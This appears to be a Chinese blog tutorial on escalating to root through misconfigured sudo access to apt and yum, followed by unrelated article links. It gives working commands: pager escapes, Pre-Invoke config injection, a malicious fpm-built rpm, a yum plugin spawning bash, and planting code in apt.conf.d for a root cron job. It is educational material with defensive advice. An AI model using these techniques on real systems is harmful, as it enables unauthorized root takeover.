免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

在Linux系统中,apt和yum是两种常见的包管理工具,分别用于Debian/Ubuntu和CentOS/RHEL等发行版,如果配置不当极有可能导致linux提权问题,进而导致服务器受到安全威胁。

apt包管理器

通过changelog日志提权

当普通用户允许通过特权模式执行apt命令的时候,可通过changelog日志进行提权。

sudo apt changelog apt

该命令是一个用于查看 apt 软件包更新日志的命令。changelog 是软件包的一部分,记录了该软件包每次更新时的变更内容,包括新功能、修复的漏洞、改进等。

执行该命令,会进入到一个软件包变更内容的日志当中:



在此界面输入!/bin/bash可直接进入对应权限的bash环境当中:



通过安装软件包执行命令提权

当普通用户允许通过特权模式执行apt命令的时候,可通过修改apt配置选项在安装软件包时执行命令。

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/bash;false"}' > $TF
sudo apt install -c $TF vim

Dpkg::Pre-Invoke是apt的一个配置选项,用于在安装软件包之前执行指定的命令,将配置信息写入到$TF中,这里执行/bin/bash获取一个新的bash环境。

vim是一个软件包,通过安装vim(可以是任意软件包)同时指定临时文件$TF作为配置文件。



可以看到安装完成软件后自动进入到了root的bash环境当中。

通过update更新包提权

当普通用户允许通过特权模式执行apt命令的时候,可通过apt配置选项尝试在更新软件包之前执行命令进行提权。

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

APT::Update::Pre-Invoke是更新操作之前执行指定的命令,通过该命令可在apt包更新之前执行/bin/bash命令从而进行提权。

通过crontab定时任务提权

当crontab以特权用户定期执行apt update时,这通常是在有定时更新软件包需求的服务器上,可通过预调用脚本执行命令提权。

该服务器每一分钟执行一次apt update。



创建一个预调用脚本文件:

#!/bin/bash
APT::Update::Pre-Invoke {"echo `id` > /tmp/result.txt"}

这里只使用执行id命令作为演示。

/etc/apt/apt.conf.d/ 是Linux系统中apt的配置文件目录,如果该文件夹存在可编辑的配置文件,可以将上述预调用脚本文件的恶意代码写入其中。

查看该目录:



脚本的名称开头需要2位数字,且根据数字的大小从小到大依次执行,所以应该将脚本数字命名得尽可能小或修改数字尽可能小的文件。这里00periodic是最小的且可编辑,将恶意代码写入到脚本。

等待1分钟后可以看到已经执行了脚本的命令:

yum包管理器

通过特制的 RPM 包提权

当普通用户允许通过特权模式执行yum命令的时候,可通过制作带有恶意代码的rpm包执行命令提权。

TF=$(mktemp -d)
echo 'id' > $TF/shell.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/shell.sh $TF

创建一个唯一的临时目录,并将该目录的路径赋值给变量 TF,临时目录中创建一个名为 shell.sh 的文件,将命令id写入shell.sh,生成rpm包并使用--before-install在安装之前执行$TF/shell.sh。

sudo yum localinstall -y x-1.0-1.noarch.rpm





成功执行了id命令,显示是root。

通过自定义插件提权

当普通用户允许通过特权模式执行yum命令的时候,可通过自定义插件生成shell提权。

TF=$(mktemp -d)

cat >$TF/x <<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF cat >$TF/y.conf <<EOF
[main]
enabled=1
EOF cat >$TF/y.py <<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/bash','/bin/bash')
EOF

通过自定义的 yum 插件脚本,使插件在初始化的时候执行os.execl('/bin/bash','/bin/bash')获取对应的bash环境。

sudo yum -c $TF/x --enableplugin=y

执行命令获取权限。

总结

配置不当的包管理器可通过拼接命令和制作特定文件的方式执行命令进行提权,想要防止此类事件的发生,配置合理的命令权限和限制 apt 预调用脚本的权限非常重要。

通过Linux包管理器提升权限的更多相关文章

  1. Linux包管理器

    按Linux系统分类 Redhat系列:Redhat(本身就是Centos).Centos.Fedora等,采用Dpkg包管理器 Debian系列:Debian.Ubuntu等,使用RPM包管理器 R ...

  2. Linux 包管理器

    RPM: rpm(Red-Hat Package Manager) 为 Redhat 提出的包管理器, 用于在 Redhat 及其衍生版本中安装 rpm 格式的软件包 rpm 的优点: 1.简化了源码 ...

  3. linux 各种发行版及包管理器的关系

    linux 各种发行版及包管理器的关系 Linux发行版列表 基于Kpkg(Debian 系) Debian GNU / Linux 及其派生发行版使用deb软件包格式,并使用dpkg及其前端作为包管 ...

  4. Linux新手的最佳包管理器

    一个 Linux 新用户应该知道他或她的进步源自于对 Linux 发行版的使用,而 Linux 发行版有好几种,并以不同的方式管理软件包. 在 Linux开发 中,包管理器非常重要,知道如何使用多种包 ...

  5. 把玩Alpine linux(二):APK包管理器

    导读 Alpine Linux非常精简,开机内存占用也在二三十兆大,没有拆箱即用,就需要我们自己去做一些了解和配置 Alpine Linux的优劣 优势 Alpine Linux的Docker镜像特点 ...

  6. Arch Linux 独特的包管理器相关名词解释及用法对照

    https://wiki.archlinux.org/index.php/PacmanPacman包管理器是Arch Linux的主要特色之一.它结合了简单的二进制包格式和易于使用的构建系统.pacm ...

  7. 在linux中使用包管理器安装node.js

    网上文章中,在linux下安装node.js都是使用源码编译,其实node的github上已经提供了各个系统下使用各自的包管理器(package manager)安装node.js的方法. 1. 在U ...

  8. Linux系统-----包管理器的演变

    每个电脑设备都使用某种形式的软件来执行其预定任务.在软件开发的早期,对产品进行了严格的bug和其他缺陷测试.在过去的十多年里,软件通过互联网发布,目的是通过应用新版本的软件来修复任何错误.在某些情况下 ...

  9. 【转】npm包管理器那些事

    原文链接:http://www.cnblogs.com/shuoer/p/7782125.html npm包管理器那些事! 今天和朋友针对npm包全局安装和本地项目安装这个梗展开的激烈的讨论,故此做一 ...

  10. rpm 包管理器

    rpm 包管理器 二进制应用程序的组成部分: 二进制文件.库文件.配置文件.帮助文件 程序包管理器:不同厂商的程序,包管理器也不同. debian:deb文件, dpkg包管理器 redhat: rp ...

随机推荐

  1. Java虚拟线程探索

    在Java 21中,引入了虚拟线程,这是一个非常非常重要的特性,之前一直苦苦寻找的Java协程,终于问世了.在高并发以及IO密集型的应用中,虚拟线程能极大的提高应用的性能和吞吐量. ## 什么是虚拟线 ...

  2. VS Code 开发工具的基本使用

    VS Code 开发工具的基本使用 VS Code(Visual Studio Code)是微软开发的一款免费.开源的代码编辑器,它支持多种操作系统,包括Windows.macOS和Linux.VS ...

  3. 自动安装zabbix-agentd脚本 自己写的

    zabbix_agent_install.sh #!/bin/bash #auther by wangxp ZABBIX_AGENT_DIR="/usr/local/zabbix" ...

  4. Luogu P10869 LCMs 题解 [ 黄 ] [ lcm ] [ 最短路 ]

    LCMs:很好的数论和构造题. 显然我们不可以直接建图跑最短路. 于是考虑分讨. 倍数关系 答案显然为 \(\max(a,b)\). 相等关系 答案显然为 \(0\). \(\gcd(a,b)> ...

  5. 解决Webstorm Nodejs console.log("这是中文") 控制台乱码

    设置文件编码 自定义vm选项文件 添加 文件最后一行添加 -Dfile.encoding=UTF-8 3.修改注册表 Windows+R --> regedit --> 计算机\HKEY_ ...

  6. captura怎样解决FFmpeg解析错误问题

    captura怎样解决FFmpeg解析错误问题?captura软件里大家在进行屏幕录制的工作得时候都会用到captura软件,软件得功能可以满足大家的需求,可以轻松的录制屏幕,进行屏幕截屏等,但是又小 ...

  7. thymeleaf的手动渲染HTML模板

    thymeleaf的手动渲染HTML模板 长河 2018-11-14 11:18:10  6833  收藏 2 分类专栏: Springboot 版权 现在很多公司都在thymeleaf作为前端的显示 ...

  8. Docker - 部署zyplayer_doc团队协作文档

    原文链接:https://mp.weixin.qq.com/s/ew3O0EKLo8KoOMkpT-IePw 一.介绍   zyplayer-doc是一款适合企业和个人使用的WIKI知识库管理工具,提 ...

  9. CPrimerPlus

    还没学 的 167页的wordcnt程序 199页的checking程序(太长了,不想看) 113页的第八章编程练习5(不想看) 125页的复习题9(有问题,有时间再来验证) 119页重定向和文件(n ...

  10. 面试题55 - II. 平衡二叉树

    地址:https://leetcode-cn.com/problems/ping-heng-er-cha-shu-lcof/ <?php /** 输入一棵二叉树的根节点,判断该树是不是平衡二叉树 ...